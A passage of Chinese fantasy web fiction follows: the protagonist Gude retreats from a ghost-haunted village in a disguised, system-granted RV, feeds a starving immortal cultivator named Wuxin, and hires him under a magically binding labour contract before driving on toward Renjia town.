古德站在车顶,如同激流中的礁石,口中净天地神咒不停,周身金光持续绽放,将一波波涌上来的鬼影分身净化驱散。
这场面,就像是一辆散发着圣光的战车,在鬼潮中坚定地逆行后撤。
鬼影前仆后继,却在金光面前不断消散。
楚人美的分身似乎无穷无尽,刚净化掉一批,立刻又有更多的从阴影中冒出,继续涌上。
但净天地神咒对它们的克制效果极其明显,使得它们根本无法靠近房车十米之内。
就这样,房车顶着密密麻麻的鬼影,缓缓退出了黄山村的范围。
当车轮碾过村口那半塌的木牌坊时,奇异的景象发生了。
那些疯狂追击的楚人美分身,如同撞上了一道无形的界限,纷纷在村口的位置停了下来,不再向前。
它们只是用那隐藏在长发后的冰冷目光,死死地盯着逐渐远去的房车。
浓郁的黑气在村口翻滚,最终凝聚成一道身影。
还是那个穿着蓝色戏服、披头散发的楚人美。
只有她一个。她静静地站在村口的牌坊下,仿佛在目送,又像是在警告。
房车彻底退出黄山村的范围后,阿草将车停稳。
古德也停止了念咒,站在车顶,回望过去。
一人一鬼,隔空相望。
古德看着那道孤零零的、却散发着强大阴气的蓝色身影,忽然笑了笑,抬手对着楚人美的方向,随意地挥了挥,像是在告别,又像是在说……下次再见。
下次再来,准备充分的他,可就不会像今天这样轻易退走了。
到时候,该担心的是这位美姨自己了。
他纵身从车顶跃下,拉开车门坐进副驾驶。
“没事了,走吧。目标,任家镇。”
阿草长长松了口气,小脸上恢复了血色,用力点头,操控着方向盘,驾驶着房车,沿着来路,驶离了这片被浓重鬼气笼罩的山峦。
黄山村和楚人美,被远远地抛在了身后,但古德知道,他和这位鬼王的缘分,还没尽。
第258章 路上有个很香的男人
车轮滚滚,碾过崎岖不平的土路,将弥漫着诡异气息的黄山村远远抛在身后。
古德靠坐在房车舒适的副驾驶座椅上,透过单向车窗望着外面飞速**的荒凉山景,眉头微微蹙着。
楚人美的实力,有些超出他的预计。
鬼王层次,分身幻术,还占据地利……硬拼确实不智。
但就这么退走,心里总归有点不甘。
那些被困的村民亡魂倒是收了,可正主还在那里,像根刺一样。
“得想个办法……”古德手指在扶手上轻轻敲击。
硬来不行,或许可以试试阵法?或者炼制一些专门克制阴魂的宝物?
再不济,等自己《混元六九篇》或者《黄庭内景玉经》再进一步,把握就大得多。
不过这些都急不来。
他摇摇头,暂时将楚人美的事情放在一边。
当务之急是前往任家镇,那里有九叔,或许有僵尸先生的剧情,到时候说不定又可以接个订单。
不过老是开着一辆这么未来的车在民国乡下晃悠,确实太扎眼了。
“系统,”古德心念微动,“把‘千幻伪装外观’切换成【民国常见载具】里的‘四轮带篷马车’模式。”
【指令确认。切换中……】
几乎在指令下达的瞬间,几乎没有任何延迟,车厢外传来一阵极其轻微、仿佛水波荡漾般的“嗡”声。
车内一切如常,舒适的座椅、仪表盘、储物柜都没有变化,但透过车窗看向侧后视镜,古德看到的景象已经不同了。
全息影像在古德视野中展开,显示着外部伪装后的实时画面。
一辆在民国时期颇为体面的带篷马车,车厢是深棕色的木料,带着桐油的光泽,篷布是洗得发白的青灰色。
拉车的是两匹**色雪白、膘肥体壮的高头大马,步伐矫健。
而“赶车”的,正是阿草。
影像里的她换了一身灰布短打,扎着裤脚,手里握着长长的马鞭,坐在车辕上,有模有样。
古德摸了摸下巴,盯着那影像看。
马车和马的样式倒是没问题,就是……这两匹白马跑得是不是太快太稳了点?
蹄声嘚嘚,速度几乎赶得上汽车中速了,而且车身没有丝毫寻常马车的剧烈摇晃。
再看阿草,即便换了男装,那小脸和灵动的神态,仔细看还是透着股子不协调,不像常年风吹日晒的车把式。
“系统,”古德试着沟通,“这伪装能再调整一下不?赶车的人,换个更普通、不惹眼的,年纪大点,模样憨厚点那种。”
系统没有语音回应,但视野中的全息影像立刻闪烁了一下,随即更新。
车辕上,阿草的影像消失了,取而代之的是一个四十岁上下的汉子。
面容是那种扔进人堆就找不出来的普通,皮肤黝黑,眼角有些皱纹,戴着顶旧毡帽,穿着半旧的粗布褂子,手里握着缰绳,目光平视前方,一副老实本分、只管赶路的模样。
“这还差不多。”
古德满意地点点头。虽然知道这马夫也是虚拟影像,真正的操控者还是车内的阿草,但至少看起来合理多了。
“阿草,速度放慢点,不用赶,就当是寻常马车走官道。”古德出声吩咐。
“晓得啦,老板。”
阿草的声音传来,同时车身微微一滞,速度明显降了下来,恢复了马车应有的、带着些许颠簸的慢节奏。
车速一慢,窗外的景致也似乎清晰了许多。
古德将车窗摇下小半,带着泥土和青草气息的风吹了进来。
路是所谓的官道,其实也就是被车辙和脚印压得板结的土路,比旁的地方宽些、平些而已。
路两旁,稀稀拉拉有些叫不出名字的树木,叶子蒙着一层灰。
更引人注目的是路上和路边的人。
偶尔能看到推着独轮车、吱呀作响的农人,担着担子步履蹒跚的小贩,还有更多是徒步的,背着简陋的包袱,面容憔悴,脚步沉重。
有些人走累了,就直接在路边的土埂上、树荫下坐着或躺着休息,衣衫多是补丁摞补丁,眼神里透着疲惫与茫然。
古德看着,心里叹了口气。
这才民国初年,军阀割据的苗头已现,加上天灾人祸,底层百姓的日子实在艰难。
想活下去,就得拼尽全力,跟野草似的挣扎。
这让他不由得想起后世,那真是另一个极端,有些被精心呵护的保胎生物,活得可比眼下这些面黄肌瘦的人滋润多了,甚至还会打拳,可怕的很。
天空不
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知何时积起了云,灰蒙蒙的。
不多时,淅淅沥沥的雨点落了下来,打在车篷上,发出密集的啪嗒声。
雨不大,是典型的过云雨,但足以让土路上迅速出现一汪汪浑浊的泥水。
就在这雨中,前方传来急促杂沓的马蹄声。
古德抬眼望去,只见一队人马从对面疾驰而来。
约莫有十几骑,都穿着灰蓝色的军服,打着绑腿,虽然有些泥点,但还算整齐。
马是普通的蒙古马,不算神骏,但骑手的技术看起来不错。
这队军人很快与古德的“马车”擦肩而过,马蹄溅起泥水。
为首一个军官模样的,略带诧异地瞥了一眼这辆在雨中不紧不慢行走的、由两匹少见白马牵引的体面马车,以及那个貌不惊人的车夫,但并未停留,只是目光扫过便继续策马前行,很快消失在雨幕和道路拐弯处。
“这军装……看着像是正规部队的,不是杂牌。”
古德心里嘀咕了一句。
这年头,扛枪的到处都是,但装备和精神头这么齐整的不多见。
他们急匆匆的,不知道是去换防,还是有什么任务。
不过这些都与他无关,短暂的相遇后,道路又恢复了空旷和寂静。
雨很快就停了,云层散开些,露出后面惨白的天光。
路上的行人似乎也因这场雨更少了一些。
古德重新靠回椅背,感觉有点无聊。
车里只有他和阿草,除了引擎低鸣和车轮摩擦声,再无其他动静。
他咂咂嘴,手一翻,从房车仓库里取出一包薯片。
撕开包装袋,“咔嚓”一声脆响,在安静的车厢里格外清晰。
他捻起一片金黄的薯片放进嘴里,咸香酥脆的口感多少驱散了些许乏味。
“是不是该浪费点阴德积分,把那个车载音乐盒的配件给兑换了?”
古德一边嚼着薯片,一边漫无边际地想着,“不然这长途赶路,也太闷了点……”
他这个念头还没转完,前面驾驶位传来阿草有些疑惑又带着点惊奇的声音:
“老板,前面路边……好像躺着个人。而且……”
她小巧的鼻子微微耸动了一下,似乎在仔细分辨空气中的味道,“他闻起来……好香啊。”
第259章 在下无心
“好香?”古德挑了下眉,咀嚼的动作停了下来。
阿草是草木成精,她对“香气”的感知可跟凡人不一样。
能让她觉得“香”的,要么是某些特殊的灵药奇花,要么就是……身怀异禀、灵气充沛的人或物。
一个倒在路边的人,能被阿草形容为“好香”,这可有点意思了。
他那点无聊感顿时被好奇心取代。
“停车,靠边。我下去看看。”
“哎。”
阿草应了一声,操控着车子平稳地停在了官道旁稍宽些的空地上。
从外面看,就是那辆体面的马车停了下来,老实巴交的车夫勒住了缰绳。
古德推开车门(在外看来是马车厢门),跳了下去。
雨后土路泥泞,他踩在稍高的草埂上,朝阿草示意的方向走去。
只见前方不远处的路边,一个男人直接仰面躺在泥水里,对周遭的污秽毫不在意。
他看起来二十七八岁的年纪,留着这个时代很少见的、贴着头皮的寸头,显得很精神。
身上穿着一件单薄的、洗得发白的深蓝色粗布背心,下身是同色系的宽松裤子,脚上一双破旧的布鞋。
长相俊朗,眉眼间自有一股历经世事的淡定,即使昏迷着,眉头也是舒展的。
最让古德注意的是,这男人裸露在外的胳膊和小腿,肌肉线条流畅却不夸张,皮肤下隐隐有淡淡的气血流转之感,虽然此刻很微弱。
而且,古德能清晰地感应到,对方体内潜藏着一股不弱的力量波动,性质中正平和,带着修行者的特质。
“修行者?而且道行不浅,比九哥差点,但绝对超过普通道士了。”古德有些惊讶。
这样一个人,怎么会沦落到昏迷在路边泥泞里的地步?受伤了?**了?还是……
他捏着薯片袋子,卡察卡察地嚼着薯片,小心翼翼地走到男人身边,蹲下身,伸出两根手指想去探探对方的鼻息和颈脉,顺便用一丝法力探查其体内状况。
就在他的手指即将碰到对方脖颈皮肤的刹那——
地上那原本双目紧闭、气息微弱的男人,眼皮猛地一颤,毫无征兆地睁开了眼睛!
那是一双黑白分明、清澈却又仿佛藏着无尽岁月的眼睛。
同时,他喉咙里发出一声含湖却清晰的咕哝:“唔……好香!”
下一秒,古德只觉得手上一轻!
那包被他捏在手里的薯片,竟然被这男人以快如闪电般的速度一把夺了过去!
“我靠!”
古德吓了一跳,条件反射般地向后蹦开两步,摆出防御姿势,手里的半片薯片都掉了。
这诈尸一样的速度,也太快了!
而那寸头男人,对古德的反应恍若未觉。
他双眼放光地盯着手里的薯片袋子,鼻子还使劲凑过去嗅了嗅,脸上露出极度陶醉和渴望的表情。
然后,他直接用手抓起一大把金黄的薯片,看也不看就塞进嘴里,猛烈地咀嚼起来,卡察卡察的声音比古德刚才响亮十倍。
“嗯!好吃!真好吃!香!脆!”
他一边狼吞虎咽,一边含湖不清地赞叹,嘴角还沾着调料粉末。
一包薯片,被他三下五除二就吃掉大半,最后甚至嫌不过瘾,直接仰起头,将袋子里剩下的碎屑一股脑全倒进了嘴里,还意犹未尽地舔了舔袋子里侧。
古德在旁边看得是目瞪口呆,哭笑不得。
这……这是什么情况?一个修为不弱的修行者,饿晕在路边,然后被一包薯片“香”醒了?
还抢薯片吃?这画风是不是有点过于清奇了?
不过,看对方这饿死鬼投胎的样子,倒不像是伪装,而且身上也没有邪气。
古德戒备稍松,试探着问道:“这位……朋友,你这是多久没吃饭了?”
寸头男人这才似乎从美食的陶醉中略微回神,他有些不好意思地看了看手中空荡荡的薯片袋子,又看了看古德,摸了摸自己干瘪的肚子,讪讪一笑:
“这个……记不清了,反正……好久好久。肚子里没油水,身上没力气,走着走着就眼前一黑……”
还真是饿晕的?古德觉得有点不可思议。
修为到了这个程度,虽然还做不到完全辟谷,但对食物的需求应该远比常人低,而且也有多种方法获取能
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量,怎么会沦落到饿晕?
不过看对方那真诚或者说对食物渴望的眼神,又不似作伪。
古德摇摇头,算了,萍水相逢,既然遇到了,又是同道中人,帮一把也无妨。
他心念一动,一个用油纸包着的、还带着温热感的双层牛肉汉堡,凭空出现在他手中。
他撕开油纸,将散发着麦香、肉香和蔬菜清香的汉堡递了过去:
“薯片不顶饿,吃这个吧,管饱。”
那寸头男人的眼睛瞬间瞪得更大了,死死盯着古德手里那个他从未见过的,又夹着大块肉饼、蔬菜和酱汁的怪东西,喉咙不自觉地上下滚动,狂咽口水。
他甚至没问这是什么,也不担心这食物有问题,只是感激地看了古德一眼,用有些颤抖的手接过汉堡,然后张大嘴,啊呜一口就咬了下去!
丰富的口感瞬间征服了他。松软的面包,鲜嫩多汁的肉饼,清甜的蔬菜,还有那说不出的美味酱汁……
他几乎感动得要流泪了。
“呜呜!好吃!太好吃了!这是什么神仙吃食!还有肉!好大块的肉!香!太香了!”
他一边狼吞虎咽,一边含湖不清地发出各种赞叹,吃得汁水都从嘴角流下来了也顾不上擦。
一个分量十足的双层牛肉汉堡,被他以风卷残云的速度消灭干净,最后连掉在油纸上的芝麻和酱汁都舔得干干净净。
吃完后,他满足地打了个饱嗝,摸了摸终于不再咕咕叫的肚子,脸上露出了如释重负的笑容。
他挣扎着从泥地里坐起来,也顾不上身上脏,胡乱用手抹了把脸,又整理了一下那件单薄的背心,然后对着古德,郑重地抱拳,行了一个颇为标准的江湖礼节,声音也比之前有力气了许多:
“多谢恩人!多谢恩人活命之恩!要不是你这两口吃的,我无心今天恐怕真要饿死在这荒郊野岭,成了孤魂野鬼了!”
他顿了顿,看着古德,自我介绍道:“在下无心,不知恩人……怎么称呼?”
古德看着眼前这个自称“无心”的寸头男人,心里忽然一动。
无心?这个名字……好像在哪里听过?
第260章 无心求包吃包住
他仔细打量着眼前这个刚刚狼吞虎咽吃完汉堡、此刻正一脸感激看着自己的寸头男人。
记忆的角落被触动。
前世……好像有部挺火的电视剧,叫《无心法师》?
具体剧情他早就记不清了,只模糊记得主角好像就是个叫无心的家伙,似乎有什么不死之身,恢复能力跟金刚狼似的,还能活很久很久……
其他的,就只剩下些零零碎碎的画面了。
难道眼前这位,就是那个无心?
古德心里转过几个念头,但脸上没表现出来。
是或不是,其实也没太大区别。
反正就是个有点特别的修行者,萍水相逢,给顿饱饭,也算结个善缘。
他对着无心也抱了抱拳,算是回礼,语气带着点随意道:
“古德,山野散人。无心……兄台?看你打扮利落,气质不凡,莫非是位修行有成的行脚僧人?在这荒郊野外化缘?”
无心听了,抬手挠了挠自己那头又短又硬的头发,发出沙沙的轻响。
他咧开嘴笑了笑,那笑容很坦荡,甚至有点大大咧咧,冲淡了刚才因饥饿带来的狼狈。
“古道友可别拿我打趣了。”
他声音清朗了些,带着点自嘲。
“什么修行有成,你看我这样像吗?我就是个没庙没观的野路子散修,祖上不知哪辈传下来几手粗浅功夫,混口饭吃。
平时也就帮乡里乡亲看看宅基,驱驱小邪,偶尔遇上不开眼的小鬼,顺手收了,换点米粮度日。让古道友见笑了。”
他说得轻描淡写,但古德能听出,这混口饭吃恐怕是真不容易。
这年头,兵荒马乱,百姓苦不堪言,能有闲钱和心思请人做法事的,少之又少。
古德点了点头,原来如此。
既然对方没事了,萍水相逢的缘分也就到此为止。
他还有正事要办,没必要在这里过多耽搁。
“原来是无心道友。既然道友已无大碍,那古某也就放心了。”
古德指了指停在路边的“马车”,语气平和地说道,“我还有事在身,不便久留。咱们就此别过,江湖路远,有缘再见。”
说完,他转身就准备回车上去。阿草还在车里等着呢。
无心看着古德转身,目光不自觉地又瞟向那辆“马车”。
车子看起来是普通的带篷马车,但细看之下,那篷布厚实,车厢木质坚实,两匹拉车的白马更是神骏异常,肌肉线条流畅,皮**在雨后微光下隐隐发亮,一看就是精心喂养的上等好马(伪装的)。
再瞅瞅古德身上料子不错的劲装,以及车里隐约可见的那个水灵灵的小姑娘(阿草)……
这妥妥是大户人家,或者至少是家底殷实的主儿啊!
无心心里那点因为饱腹而升起的满足感,瞬间又被现实的窘迫冲淡了不少。
他这次醒过来,满打满算不到十天。
一睁眼,世道好像比睡着前更乱了。
军阀的兵痞横行乡里,土匪山贼多如牛毛,老百姓面有菜色,家家户户都紧巴巴的。
他空有一身对付妖邪的本事,可这乱世之中,普通百姓自己都吃不饱,哪有余钱请人驱邪。
就算偶尔有那么一两个撞邪的,给的报酬也多是几个鸡蛋、一斗糙米,勉强不饿死而已。
他这具身体,饿是饿不死的,可那前胸贴后背、头晕眼花、四肢无力的滋味,实在难受。
刚才要不是古德那包“香脆神奇薄片”和那个“夹肉神饼”,他估计自己真得在泥地里躺到天黑,等力气慢慢恢复,不过那也太丢人了。
眼看古德这位看着就“不差钱”还“心善”的“金主”加“救命饭票”就要走,无心脑子一热,一个大胆念头冒了出来。
他连忙上前一步,厚着脸皮冲着古德的背影喊道:“古道友!请留步!”
古德脚步一顿,疑惑地回头,看向无心。
还有事?
无心搓了搓手,脸上堆起一个尽可能显得诚恳又不太过谄媚的笑容,有些期期艾艾地开口:
“那个……古道友,你看……你身边缺不缺一个跑腿打杂、能干粗活的人?我要求不高的,真的!只要平日里管饱,给个遮风挡雨的地方住就行!
我力气还行,扛包卸货、守夜看车、探路问询都没问题!要是路上遇到什么不干净的东西,或者有不开眼的**贼,我也能搭把手!”
他说完,眼巴巴地看着古德,心里其实有点打鼓。
这要求说起来简单,但在这兵荒马乱的年月,能天天管饱管住,对很多人来说已经是奢望了。
自己这算是有点得寸进尺了吧?
古德听了,第一反应是皱了下眉,下意识就想拒绝。
开什么玩笑?他车上秘密一大堆,怎么会随便就雇佣个人?
而且他习惯了自由来去,顶多带个乖巧听话的阿草,多个人就多份牵扯,多份麻烦。
更何况,他对这个无心的了解,仅限于一个名字和疑似“不死之身”的猜测。
他嘴唇微动,那句“抱歉,不便”已经到了嘴边。
就在这一刹那——
“叮!”
脑海中,那熟悉又悦耳的系统提示音,毫无征兆地响了起来。
【滴滴!检测到本位面特殊目标‘无心’(疑似永生体质持有者)发出就业意向。】
【诸天滴滴接单系统自动生成临时雇佣订单。】
【订单类型:劳务雇佣(长期)】
【订单需求:为‘无心’提供稳定、可持续的食宿保障,解决其基本生存需求。】
【订单奖励:完成基础雇佣关系建立,奖励诸天里程点500点。附加奖励:劳动合同(特殊道具)x3。】
【备注:宿主,走过路过不要
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错过,永生牌工具人,饿急了还能当备用粮(划掉)……是优质员工,入手不亏!】
【是否接受订单?】
古德:“……”
他感觉自己的思绪好像卡壳了那么零点一秒。
这……这算什么?
路边捡人还能触发系统订单?
虽然500点里程点少了点,但好歹也是点进账。
而且这个“劳动合同”又是什么新奇玩意儿?
系统现在业务范围已经扩展到人力资源领域了吗?
还有那个备注……备用粮是什么鬼!系统你的数据库是不是混进了什么奇怪的东西!
他强忍着吐槽的欲望,在心里飞快询问:“系统,解释一下,这个劳动合同具体是什么?有什么效果?”
系统的回应很快,但内容让古德想翻白眼:
【劳动合同即为确立雇佣关系、明确双方权利与义务的书面契约。】
“说人话。”古德心里吐槽。
他难道不懂劳动合同的字面意思吗,这话说的就好像我上一次这么无语,还在上一次。
系统的回应很快,依旧是那副平静无波的电子音,但古德总觉得它好像在憋笑:
【劳动合同,即为确立劳资双方权利与义务、经本系统公证并赋予特殊约束力的格式化契约文本。
宿主可使用此合同与本世界符合条件的目标签订雇佣协议。
协议一旦成立,受系统规则保护,对乙方有强制约束力。
违约者将遭受契约规则反噬,具体反噬效果视违约情节而定。
签约需双方自愿,并在……(此处省略三百字官方说明)……于冥冥之中诸位英俊潇洒、美丽动人、聪明绝顶的读者的见证下完成,效力直达根源。】
古德:“……”
好吧,这系统的解释,一如既往的充满废话文学风格。
说了好像什么都说了,但又好像什么都没说。
尤其是最后那句“读者的见证”,让他有种微妙的、被围观的感觉。
不过他提炼了一下核心信息:就是个有系统撑腰的、带强制效果的雇佣合同,签了就不能随便反悔,否则会倒霉。
“说得好听,不就是个霸王条款……不过,对我好像是甲方?”
古德心里琢磨着。
这时,他注意到眼前的无心。
无心看古德又愣在那里不说话,脸上表情还有点微妙的变化,心里更慌了。
他以为自己的唐突要求惹恼了对方,连忙讪笑着摆手:
“古道友!别!别往心里去!我刚刚是饿昏了头胡说八道!您千万别介意!能有刚才那一顿,我已经感激不尽了,真的!您有事您先忙,我这就走,绝对不打扰您!”
说着,他转身就想开熘,虽然肚子是饱的,但脸上臊得慌,只想赶紧找个地缝钻进去。
“等等。”古德叫住了他。
第261章 跟无心签合同
无心停下脚步,忐忑地回头。
古德看着他这副样子,心里有点好笑,脸上却露出一个看起来颇为正经的表情:
“我刚才是在考虑你的提议。嗯……我身边,确实有时候需要个能帮忙处理杂事的人。”
“啊?”无心愣住了,有点不敢相信自己的耳朵。
“不过,”古德话锋一转,语气变得严肃了些。
“我这个人做事,喜欢按规矩来。跟**活,不能光凭嘴说,得签正式的合同。白纸黑字,写清楚你该干什么,我能给你什么,有什么规矩要守。丑话说在前头,对大家都好。你觉得呢?”
无心一听真有戏,虽然不知道什么合同不合同,只要管饭,签**契他都……嗯,这个得考虑下。
但如果是一份普通的雇佣契约,完全没问题!
他立刻把头点得像小鸡啄米:“签!肯定签!古道友你说怎么签就怎么签!只要管吃管住,我无心绝无二话!”
他这人活得久,见过太多世事变迁,很多事情都看得很开,性格也偏向随遇而安。
能有个稳定的饭辙和落脚地,不用再为下一顿发愁,对他来说就是现阶段最大的幸福了。
至于合同条款,他下意识觉得古德这样随手能拿出神奇美食的人,应该不会太苛刻。
“行,那就这么说定了。”古德在心里对系统道,“系统,接受订单。”
【订单接受成功。开始生成‘劳动合同’(特殊道具)……生成完毕。】
【奖励发放:公里点数+500。当前公里点数:700点。】
【‘劳动合同’(特殊道具)x3已存入房车专属空间,宿主可随时取用。】
古德意念一动,手中便多出了一份看起来颇为正规的纸质合同和一支钢笔。
合同纸张洁白挺括,印着淡淡的格子线,在这个时代显得很是高档。
他走到马车边,借着车窗的支撑,快速浏览了一下合同。
内容模板很简单,甲方乙方,权利责任。
他拿起笔,在甲方处签上自己的名字“古德”,然后在“甲方责任”一栏写道:负责乙方(无心)之日常食宿。
写到这里,他笔尖顿了顿。
自己好像也不是那种黑心资本家,光管吃住好像有点说不过去,毕竟无心也算个高级人才。
于是他又在后面补充了一句:每月另支付报酬,现大洋十块。
然后在“乙方责任”一栏写道:
在合同期内,需服从甲方(古德)指派的合理工作,不得无故推诿(注:甲方不得指派乙方从事违背道义、伤天害理之事)。
需对甲方之事务、物品及所见所闻予以保密,不得泄露于任何第三方,乙方须恪尽职守,维护甲方利益与安全。
最后是违约责任和合同期限。
古德想了想,写道:
若乙方违反上述任一条款,将视情节轻重,承受契约规则之反噬,包括但不限于霉运缠身、修为阻滞、直至……真灵受创,永堕虚无。
本合同期限为十年,自签订之日起生效。
本合同由订立双方自愿签署,并特此声明,于诸位或英俊潇洒、或美丽动人、或聪明绝顶的读者共同见证下成立,具不可违背之效力。
写完,他检查了一遍,觉得没什么问题。
待遇不算差,要求也算合理,完美。
他满意地点点头,将合同和笔递给眼巴巴等着的无心
“你看看,没问题就签字按手印。吃住我管,每个月还有十块大洋。你的工作就是听我安排,做些分内的事,我不会让你去干坏事。但我的事情,你看见的听见的,都得烂在肚子里。就这些。没问题就签字按手印。””
无心接过合同,仔细看了起来。
这个世界的文字与古德在香江的文字大体相通,所以写出来后,无心完全能看懂。
当他看到“每月现大洋十块”时,眼睛都瞪圆了!
十块大洋!在这年头,普通庄户人家辛苦一年都未必能攒下十块大洋!
这位古道友也太阔气了吧!
至于保密和服从安排,在他看来是天经地义。
看到古德特意注明不会让他做坏事,他心里更踏实了。
十年期限?对他来说不过弹指一挥间。
“没问题!完全没问题!古道友,不,东家!您真是个大好人!”
无心激动得有点语无伦次,生怕古德反悔,赶紧拿起笔,在乙方签名处歪歪扭扭地写下“无心”两个字,又接过古德递过来的红色印泥,郑重其事地在名字上按了个手印。
古德也重新在甲方处签好名,按了手印。
就在两人完成签署的瞬间,那纸合同表面忽然掠过一层淡淡的红光,随即隐没。
与此同时,古德和无心都清晰地感觉到,一种无形的、却真实不虚的“联系”与“约束”,在彼此之间建立起来。
尤其是无
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心,他灵魂深处微微一震,瞬间明悟了这份合同的“重量”。
如果他真的违背了核心条款,那“真灵受创,永堕虚无”恐怕绝非戏言,而是真的会发生的、源自某种至高规则的反噬。
不过,察觉到这一点,无心非但没有害怕,反而……松了口气,甚至有点无所谓。
他活得太久太久了,久到对许多事情都失去了强烈的执念,包括生死。
有时候他甚至会觉得,漫长的生命也是一种负担。
现在这样,有吃有住有钱拿,简直是他醒来后过得最滋润的日子了,还有什么不满意的?
“好了,现在算是自己人了。”
古德收起那份已经生效的、散发着特殊波动的合同,心情不错。五百点里程轻松到手,还捡了个实力不错的帮手,虽然有点呆。
他对着车里一直扒在车窗边、好奇地看着外面这一切的阿草招了招手:“阿草,出来一下,认识新同事。”
阿草听话地推开车门,轻盈地跳下车,站到古德身边,好奇地打量着无心。
古德对无心介绍道:“这是阿草,以后主要负责我们的……后勤保障,包括伙食。你想吃什么,可以跟她说。”
然后又对阿草说:“这是无心,新加入的伙伴,以后他的饮食起居,你也帮忙照看一下。”
无心一听,原来这位看起来娇滴滴、身上带着好闻草木清气的姑娘,竟然是掌管厨房的大总管!
刚才那让他魂牵梦绕的汉堡,必定出自她手!
他立刻对着阿草,非常郑重地抱拳行礼,语气无比诚恳:
“阿草姑娘!以后请多关照!有任何需要跑腿、出力、干脏活累活的地方,尽管吩咐!我无心绝无二话!”
阿草被无心这突如其来的大礼弄得有点不好意思,但也落落大方地回了一礼,细声细气道:
“无心大哥客气了,以后都是自己人,互相照应。”
古德看着雨后天晴、却依旧泥泞的官道,不想再多待。
他对无心指了指马车:“别客气了,先上车吧。这路上不是说话的地方。”
无心看着那辆马车,又看看那两匹安静得过分、眼神却格外灵动的白马,以及那个从始至终面无表情、像个木头人一样坐在车夫位置上的“车夫”,心里虽然觉得有哪里怪怪的。
但美食和薪水的诱惑力太大,他也懒得深究,乐呵呵地应了一声:“好嘞,东家!”
第262章 路遇芭蕉林
无心跟在古德身后,一只脚踏上那看起来平平无奇的马车踏脚板,心里还在琢磨这东家虽然大方,但出行用马车,想必车内空间也宽敞不到哪里去,自己得缩着点,别碰坏了东西。
可当他整个人钻过那深青色的布帘,进到“车厢”内部时,整个人就像被施了定身法,直愣愣地呆在了入口处,嘴巴微微张着,半天没合上。
眼前所见,和他想象的任何“马车”内部都截然不同,甚至和他认知里的任何房屋、船舱都不一样。
首先映入眼帘的,是一处明亮、整洁、充满奇异金属与不明材质光泽的前舱。
几块平滑如黑玉的板面上,跳动着彩色光影组成的图案和不断变化的奇异符号(仪表盘)。
正前方是一整块巨大、清澈无比的“琉璃窗”(前挡风玻璃),窗外雨后官道的景象纤毫毕现,比用最纯净的水晶磨成的镜片看得还清楚。
两个看起来柔软厚实、包裹着不知名皮革的座位(驾驶座和副驾)固定在那里,其中一个前面还有个圆环状的东西(方向盘)。
空气里弥漫着一股淡淡的、类似檀香又混合了清新草木的味道,温度不冷不热,恰到好处,将外头的潮湿闷热完全隔绝。
脚下踩着的也不是木板或毡毯,而是一种富有弹性的、深灰色的致密材料,干净得能照出人影。
这哪里是马车?这分明是走进了某个传说中的神仙洞府。
古德看着无心一副刘姥姥进大观园、瞪着眼睛四处乱瞟、脚下还沾着泥巴的呆样,微微皱了皱眉。
他有点洁癖,这崭新的车内环境,可不想被泥水弄脏。
“阿草,”他转头对已经乖巧坐回驾驶位的阿草吩咐道,“你先带他去后面洗漱一下,把这一身泥冲干净。我衣柜里左边那几套深色的便服,找一套合身的给他换上。”
他打量了一下无心和自己差不多的瘦高身形,补充道,“我看尺寸应该能穿。收拾利索了再带他熟悉熟悉环境。”
“然后,”他想了想,对阿草继续道,“后面静室旁边不是有个小储物间空着吗?收拾一下,临时给他当休息的地方。弄个垫子铺盖就行。”
“好的老板,交给我吧。”
阿草清脆地应下,脸上带着笑,走到还在发愣的无心面前,伸手在他眼前晃了晃,“无心大哥?别发呆啦,跟我来,先把你收拾干净,不然老板该心疼他的地板啦。”
无心恍恍惚惚地“哦”了一声,像个提线木偶般跟着阿草,走向车厢后方一扇他刚才没注意到的、与车厢壁几乎融为一体的门。
阿草伸手在门边某个位置按了一下,门无声地向一侧滑开,露出后面更宽敞的空间。
无心探头往里一看,下巴差点掉下来。
里面竟然还有另外空间!
有超大的大厅一样的空间,有看起来像是卧室的隔间,有小小的、摆着奇怪洁白器具的净房(卫生间),还有一间布置雅静、放着蒲团和矮几的静室……
这马车从外面看也就比普通马车大一点,里面怎么能有这么大地方?这简直……不科学!
“阿……阿草姑娘,”无心看着眼前这一切,声音都有些发干,他忍不住压低声音,带着无比的敬畏小声问道:
“阿草姑娘……东家他……到底是何方神圣啊?这、这马车……怕不是神仙用的洞天法宝吧?”
阿草闻言,脸上露出一点小得意,一边从壁柜里取出崭新的毛巾和一块散发着清香的香皂,一边用理所当然的语气回答:
“老板的本事大着呢,这些不过是皮**啦。是不是神仙我不知道,反正我觉得,跟传说中的神仙也差不了多少啦!
你先别问那么多,赶紧洗洗,这是热水开关,这是皂角,这是换洗的衣服……”
她开始耐心地教无心使用这些现代化的设施。
无心像个刚进城的土包子,听着阿草的指导,小心翼翼地操作,心里受到的冲击一波接着一波。
温热的水流从奇特的龙头里涌出,光滑的皂角搓出细腻的泡沫,柔软吸水的毛巾……每一样都让他啧啧称奇。
等到他换上古德那身素色但质地极佳、剪裁合体的棉布长衫,擦干头发走出来时,整个人精神面貌焕然一新,只是眼神里的惊奇仍未褪去。
阿草又简单地给他介绍了一下房车的大致布局和几个主要区域的功能,然后便带着依旧有些晕乎乎的无心返回了前舱驾驶室。
此时古德则坐回了驾驶位。
天色渐晚,他也没了看风景的心思,直接通过中控屏,将“千幻伪装外观”的模式切换到了【视觉隐匿模式】。
既然无心已经上车,知道了部分秘密,接着也不用再维持马车的伪装慢吞吞
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走了,效率第一。
“阿草,设定目的地任家镇,走最近路线。开启夜视模式,全速前进。”
古德对回到副驾驶的阿草吩咐道。
“明白,老板!”
阿草熟练地在中控屏上操作起来。
很快,处于隐匿状态的房车发出一阵低沉的、几乎听不见的电机嗡鸣,速度骤然提升,平稳而迅捷地驶入逐渐深沉的夜幕之中。
车外景象飞速**,车内却依旧平稳安静,只有微弱的照明灯光。
无心坐在后排一个同样柔软舒适的座位上,看着窗外飞逝的景象和车内静谧而奇异的氛围,感觉自己这千年的见识,在今天晚上被彻底刷新了。
他偷偷看了一眼聚精会神驾驶着这不可思议座驾的古德,又看了看旁边**以为常的阿草,心里对这位新东家的评价,再次拔高到了一个难以估量的程度。
时间在静谧而高效的行驶中流逝。
根据导航显示,距离任家镇已经不远。夜色完全笼罩大地,车窗外一片漆黑,只有车灯(经过处理,在隐匿模式下对外不可见)照亮前方一片区域。
偶尔能看见远处零星的灯火,那是散落在野地里的村庄。
晚上九点左右,房车正行驶在一片相对偏僻的区域。
道路两旁,出现了一大片影影绰绰、在夜风中微微摇曳的黑影。
那是一片占地颇广的芭蕉林。
